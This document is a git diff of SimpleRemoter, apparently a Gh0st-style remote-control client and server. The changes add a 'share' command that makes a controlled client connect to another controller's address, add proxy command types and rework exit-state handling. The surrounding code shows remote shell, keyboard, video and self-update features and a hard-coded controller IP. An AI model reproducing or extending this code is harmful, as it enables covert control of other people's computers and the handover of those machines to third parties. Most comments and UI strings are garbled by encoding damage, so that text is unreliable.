State g_bExit; // Ӧ<>ó<EFBFBD><C3B3><EFBFBD>״̬<D7B4><CCAC>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 3-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL g_bThreadExit; // <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
|
||||
HINSTANCE g_hInstance; // <20><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD>
|
||||
CONNECT_ADDRESS* g_Connection; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
HANDLE g_hEvent; // ȫ<><C8AB><EFBFBD>¼<EFBFBD>
|
||||
BOOL m_bShared; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
IsRunning m_bIsRunning; // <20><><EFBFBD><EFBFBD>״̬
|
||||
unsigned m_ID; // Ψһ<CEA8><D2BB>ʶ
|
||||
static int m_nCount; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
static CLock m_Locker;
|
||||
ClientApp(CONNECT_ADDRESS*conn, IsRunning run, BOOL shared=FALSE) {
|
||||
memset(this, 0, sizeof(ClientApp));
|
||||
g_Connection = new CONNECT_ADDRESS(*conn);
|
||||
m_bIsRunning = run;
|
||||
m_bShared = shared;
|
||||
}
|
||||
~ClientApp() {
|
||||
SAFE_DELETE(g_Connection);
|
||||
}
|
||||
ClientApp* SetID(unsigned id) {
|
||||
m_ID = id;
|
||||
return this;
|
||||
}
|
||||
static void AddCount(int n=1) {
|
||||
m_Locker.Lock();
|
||||
m_nCount+=n;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
static int GetCount() {
|
||||
m_Locker.Lock();
|
||||
int n = m_nCount;
|
||||
m_Locker.Unlock();
|
||||
return n;
|
||||
}
|
||||
static void Wait() {
|
||||
while (GetCount())
|
||||
Sleep(50);
|
||||
}
|
||||
}ClientApp;
|
||||
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>ClientApp
|
||||
DWORD WINAPI StartClient(LPVOID lParam);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>ClientApp
|
||||
DWORD WINAPI StartClientApp(LPVOID param);
|
||||
@@ -95,7 +95,7 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
|
||||
}
|
||||
|
||||
|
||||
IOCPClient::IOCPClient(BOOL &bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
||||
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
||||
{
|
||||
m_Manager = NULL;
|
||||
#ifdef _WIN32
|
||||
|
||||
@@ -61,7 +61,7 @@ public:
|
||||
class IOCPClient
|
||||
{
|
||||
public:
|
||||
IOCPClient(BOOL& bExit, bool exit_while_disconnect = false);
|
||||
IOCPClient(State& bExit, bool exit_while_disconnect = false);
|
||||
virtual ~IOCPClient();
|
||||
SOCKET m_sClientSocket;
|
||||
CBuffer m_CompressedBuffer;
|
||||
@@ -107,7 +107,7 @@ public:
|
||||
bool IsConnected() const { return m_bConnected == TRUE; }
|
||||
|
||||
public:
|
||||
BOOL& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
|
||||
State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
|
||||
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
@@ -8,6 +8,7 @@
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <corecrt_io.h>
|
||||
#include "ClientDll.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
@@ -125,6 +126,20 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
switch(szBuffer[0])
|
||||
{
|
||||
case COMMAND_SHARE:
|
||||
if (ulLength > 2) {
|
||||
switch (szBuffer[1]) {
|
||||
case SHARE_TYPE_YAMA: {
|
||||
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
|
||||
if (nullptr!=a) CloseHandle(CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
break;
|
||||
}
|
||||
case SHARE_TYPE_HOLDINGHANDS:
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case CMD_HEARTBEAT_ACK:
|
||||
if (ulLength > 8) {
|
||||
uint64_t n = 0;
|
||||
@@ -180,7 +195,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
g_bExit = 1;
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
OutputDebugStringA("======> Client exit \n");
|
||||
break;
|
||||
}
|
||||
@@ -189,7 +204,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
g_bExit = 2;
|
||||
g_bExit = S_SERVER_EXIT;
|
||||
OutputDebugStringA("======> Server exit \n");
|
||||
break;
|
||||
}
|
||||
@@ -246,7 +261,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
ULONGLONG size=0;
|
||||
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
|
||||
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
|
||||
g_bExit = 3;
|
||||
g_bExit = S_CLIENT_UPDATE;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -24,7 +24,7 @@ HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
class CManager : public IOCPManager
|
||||
{
|
||||
public:
|
||||
BOOL &g_bExit; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
State&g_bExit; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
CManager(IOCPClient* ClientObject);
|
||||
virtual ~CManager();
|
||||
|
||||
|
||||
@@ -201,6 +201,7 @@
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="ClientDll.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
|
||||
@@ -77,6 +77,14 @@ typedef void* LPVOID, * HANDLE;
|
||||
|
||||
#define TALK_DLG_MAXLEN 1024 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20>ͻ<EFBFBD><CDBB><EFBFBD>״̬: 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
enum State {
|
||||
S_CLIENT_NORMAL = 0,
|
||||
S_CLIENT_EXIT = 1,
|
||||
S_SERVER_EXIT = 2,
|
||||
S_CLIENT_UPDATE = 3,
|
||||
};
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD>б<EFBFBD>
|
||||
enum
|
||||
{
|
||||
@@ -150,6 +158,8 @@ enum
|
||||
COMMAND_REGEDIT,
|
||||
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
|
||||
COMMAND_UPDATE = 53, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SHARE = 59, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_PROXY = 60, // <20><><EFBFBD><EFBFBD>ӳ<EFBFBD><D3B3>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||
@@ -206,6 +216,17 @@ enum
|
||||
CMD_HEARTBEAT_ACK = 216, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ
|
||||
};
|
||||
|
||||
enum ProxyManager {
|
||||
TOKEN_PROXY_CONNECT_RESULT,
|
||||
TOKEN_PROXY_BIND_RESULT,
|
||||
TOKEN_PROXY_CLOSE,
|
||||
TOKEN_PROXY_DATA,
|
||||
COMMAND_PROXY_CLOSE,
|
||||
COMMAND_PROXY_CONNECT,
|
||||
COMMAND_PROXY_DATA,
|
||||
COMMAND_PROXY_CONNECT_HOSTNAME,
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
CLIENT_TYPE_DLL = 0, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||
@@ -217,6 +238,11 @@ enum
|
||||
CLIENT_TYPE_LINUX = 6, // LINUX <20>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
};
|
||||
|
||||
enum {
|
||||
SHARE_TYPE_YAMA = 0, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
SHARE_TYPE_HOLDINGHANDS = 1, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> HoldingHands: https://github.com/yuanyuanxiang/HoldingHands
|
||||
};
|
||||
|
||||
inline const char* GetClientType(int typ) {
|
||||
switch (typ)
|
||||
{
|
||||
@@ -272,8 +298,10 @@ public:
|
||||
return iType;
|
||||
}
|
||||
void SetServer(const char* ip, int port) {
|
||||
strcpy_s(szServerIP, ip);
|
||||
sprintf_s(szPort, "%d", port);
|
||||
if (ip && strlen(ip) && port > 0) {
|
||||
strcpy_s(szServerIP, ip);
|
||||
sprintf_s(szPort, "%d", port);
|
||||
}
|
||||
}
|
||||
bool IsValid()const {
|
||||
return strlen(szServerIP) != 0 && atoi(szPort) > 0;
|
||||
@@ -283,6 +311,23 @@ public:
|
||||
}
|
||||
} CONNECT_ADDRESS ;
|
||||
|
||||
// <20><><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>ַ<EFBFBD><D6B7>ָ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||
inline std::vector<std::string> StringToVector(const std::string& str, char ch, int reserved = 1) {
|
||||
// ʹ<><CAB9><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>ַ<EFBFBD><D6B7><EFBFBD>
|
||||
std::istringstream stream(str);
|
||||
std::string item;
|
||||
std::vector<std::string> result;
|
||||
|
||||
// <20><><EFBFBD>ֺŷָ<C5B7><D6B8>ַ<EFBFBD><D6B7><EFBFBD>
|
||||
while (std::getline(stream, item, ch)) {
|
||||
result.push_back(item); // <20><><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
while (result.size() < reserved)
|
||||
result.push_back("");
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD><EFBFBD>͵ļ<CDB5><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
// <20>˽ṹ<CBBD><E1B9B9>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>仯<EFBFBD><E4BBAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD>汾<EFBFBD>Ŀͻ<C4BF><CDBB><EFBFBD><EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>°<EFBFBD><C2B0><EFBFBD><EFBFBD><EFBFBD>.
|
||||
// <20>°<EFBFBD><C2B0>ͻ<EFBFBD><CDBB><EFBFBD>Ҳ<EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϰ汾<CFB0><E6B1BE><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD>.
|
||||
@@ -309,6 +354,31 @@ typedef struct LOGIN_INFOR
|
||||
dwSpeed = speed;
|
||||
return *this;
|
||||
}
|
||||
void AddReserved(const char* v) {
|
||||
if (strlen(szReserved))
|
||||
strcat_s(szReserved, "|");
|
||||
if (strlen(szReserved) + strlen(v) < sizeof(szReserved))
|
||||
strcat_s(szReserved, v);
|
||||
}
|
||||
void AddReserved(int n) {
|
||||
if (strlen(szReserved))
|
||||
strcat_s(szReserved, "|");
|
||||
char buf[24] = {};
|
||||
sprintf_s(buf, "%d", n);
|
||||
if (strlen(szReserved) + strlen(buf) < sizeof(szReserved))
|
||||
strcat_s(szReserved, buf);
|
||||
}
|
||||
void AddReserved(double f) {
|
||||
if (strlen(szReserved))
|
||||
strcat_s(szReserved, "|");
|
||||
char buf[24] = {};
|
||||
sprintf_s(buf, "%.2f", f);
|
||||
if (strlen(szReserved) + strlen(buf) < sizeof(szReserved))
|
||||
strcat_s(szReserved, buf);
|
||||
}
|
||||
std::vector<std::string> ParseReserved(int n = 1) const {
|
||||
return StringToVector(szReserved, '|', n);
|
||||
}
|
||||
}LOGIN_INFOR;
|
||||
|
||||
// <20>̶<EFBFBD>1024<32>ֽ<EFBFBD>
|
||||
|
||||
BIN
lib/HPSocket.lib
Normal file
BIN
lib/HPSocket.lib
Normal file
Binary file not shown.
BIN
lib/HPSocket_D.lib
Normal file
BIN
lib/HPSocket_D.lib
Normal file
Binary file not shown.
BIN
lib/HPSocket_x64.lib
Normal file
BIN
lib/HPSocket_x64.lib
Normal file
Binary file not shown.
BIN
lib/HPSocket_x64D.lib
Normal file
BIN
lib/HPSocket_x64D.lib
Normal file
Binary file not shown.
3
lib/ReadMe.md
Normal file
3
lib/ReadMe.md
Normal file
@@ -0,0 +1,3 @@
|
||||
# Requirements
|
||||
|
||||
- HPSocket: https://github.com/ldcsaa/HP-Socket.git
|
||||
@@ -9,6 +9,14 @@ cmake_minimum_required(VERSION 3.22)
|
||||
# 定义项目名称和版本
|
||||
project(SimpleRemoter VERSION 1.0)
|
||||
|
||||
# 设置编译器标志 - 尝试静态链接所有库
|
||||
set(CMAKE_EXE_LINKER_FLAGS "-static")
|
||||
|
||||
# 对于C++项目,确保标准库也静态链接
|
||||
if(CMAKE_CXX_COMPILER_ID STREQUAL "GNU")
|
||||
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -static-libstdc++ -static-libgcc")
|
||||
endif()
|
||||
|
||||
include_directories(${CMAKE_SOURCE_DIR}/mterm)
|
||||
|
||||
# 额外的包含目录
|
||||
|
||||
@@ -23,7 +23,7 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
|
||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "192.168.0.92", "6543", CLIENT_TYPE_LINUX};
|
||||
|
||||
// 全局状态
|
||||
BOOL g_bExit = FALSE;
|
||||
State g_bExit = S_CLIENT_NORMAL;
|
||||
|
||||
// 伪终端处理类:继承自IOCPManager.
|
||||
class PTYHandler : public IOCPManager {
|
||||
@@ -131,7 +131,7 @@ void *ShellworkingThread(void *param){
|
||||
BYTE bToken = TOKEN_SHELL_START;
|
||||
ClientObject->Send2Server((char*)&bToken, 1);
|
||||
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_SHELL_START\n", ClientObject);
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && !g_bExit)
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL==g_bExit)
|
||||
Sleep(1000);
|
||||
|
||||
delete handler;
|
||||
@@ -147,7 +147,7 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) {
|
||||
|
||||
if (szBuffer[0] == COMMAND_BYE) {
|
||||
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
||||
g_bExit = TRUE;
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
}else if (szBuffer[0] == COMMAND_SHELL){
|
||||
pthread_t id = 0;
|
||||
HANDLE m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, ShellworkingThread, nullptr);
|
||||
@@ -235,7 +235,7 @@ int main() {
|
||||
|
||||
do {
|
||||
Sleep(5000);
|
||||
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && !g_bExit);
|
||||
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL==g_bExit);
|
||||
}
|
||||
|
||||
delete ClientObject;
|
||||
|
||||
Binary file not shown.
@@ -20,6 +20,7 @@
|
||||
#include "VideoDlg.h"
|
||||
#include <vector>
|
||||
#include "KeyBoardDlg.h"
|
||||
#include "InputDlg.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
@@ -128,6 +129,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial
|
||||
m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE);
|
||||
m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE);
|
||||
m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE);
|
||||
m_bmOnline[3].LoadBitmap(IDB_BITMAP_SHARE);
|
||||
|
||||
InitializeCriticalSection(&m_cs);
|
||||
}
|
||||
@@ -191,6 +193,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage)
|
||||
ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyboardDialog)
|
||||
ON_WM_HELPINFO()
|
||||
ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -741,6 +744,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_SHARE, MF_BYCOMMAND, &m_bmOnline[3], &m_bmOnline[3]);
|
||||
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
|
||||
|
||||
*pResult = 0;
|
||||
@@ -1617,3 +1621,24 @@ BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg)
|
||||
|
||||
return CDialogEx::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineShare()
|
||||
{
|
||||
CInputDialog dlg(this);
|
||||
dlg.Init("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><IP:PORT><3E><>ַ:");
|
||||
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty())
|
||||
return;
|
||||
if (dlg.m_str.GetLength() >= 250) {
|
||||
MessageBox("<EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȳ<EFBFBD><EFBFBD><EFBFBD>[0, 250]<5D><>Χ<EFBFBD><CEA7><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
if (IDYES != MessageBox(_T("ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><EFBFBD>ؼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?\nĿǰֻ<EFBFBD>ܷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"), _T("<EFBFBD><EFBFBD>ʾ"), MB_ICONQUESTION | MB_YESNO))
|
||||
return;
|
||||
|
||||
BYTE bToken[_MAX_PATH] = { COMMAND_SHARE };
|
||||
// Ŀ<><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
bToken[1] = SHARE_TYPE_YAMA;
|
||||
memcpy(bToken + 2, dlg.m_str, dlg.m_str.GetLength());
|
||||
SendSelectedCommand(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
@@ -79,7 +79,7 @@ public:
|
||||
CRITICAL_SECTION m_cs;
|
||||
BOOL isClosed;
|
||||
|
||||
CBitmap m_bmOnline[3];
|
||||
CBitmap m_bmOnline[4];
|
||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||
afx_msg void OnClose();
|
||||
void Release();
|
||||
@@ -120,4 +120,5 @@ public:
|
||||
afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
afx_msg void OnOnlineShare();
|
||||
};
|
||||
|
||||
@@ -301,6 +301,7 @@
|
||||
<Text Include="..\..\ReadMe.md" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\Bitmap\Share.bmp" />
|
||||
<Image Include="res\Bitmap_4.bmp" />
|
||||
<Image Include="res\Bitmap_5.bmp" />
|
||||
<Image Include="res\delete.bmp" />
|
||||
|
||||
BIN
server/2015Remote/res/Bitmap/Share.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/Share.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
Binary file not shown.
Reference in New Issue
Block a user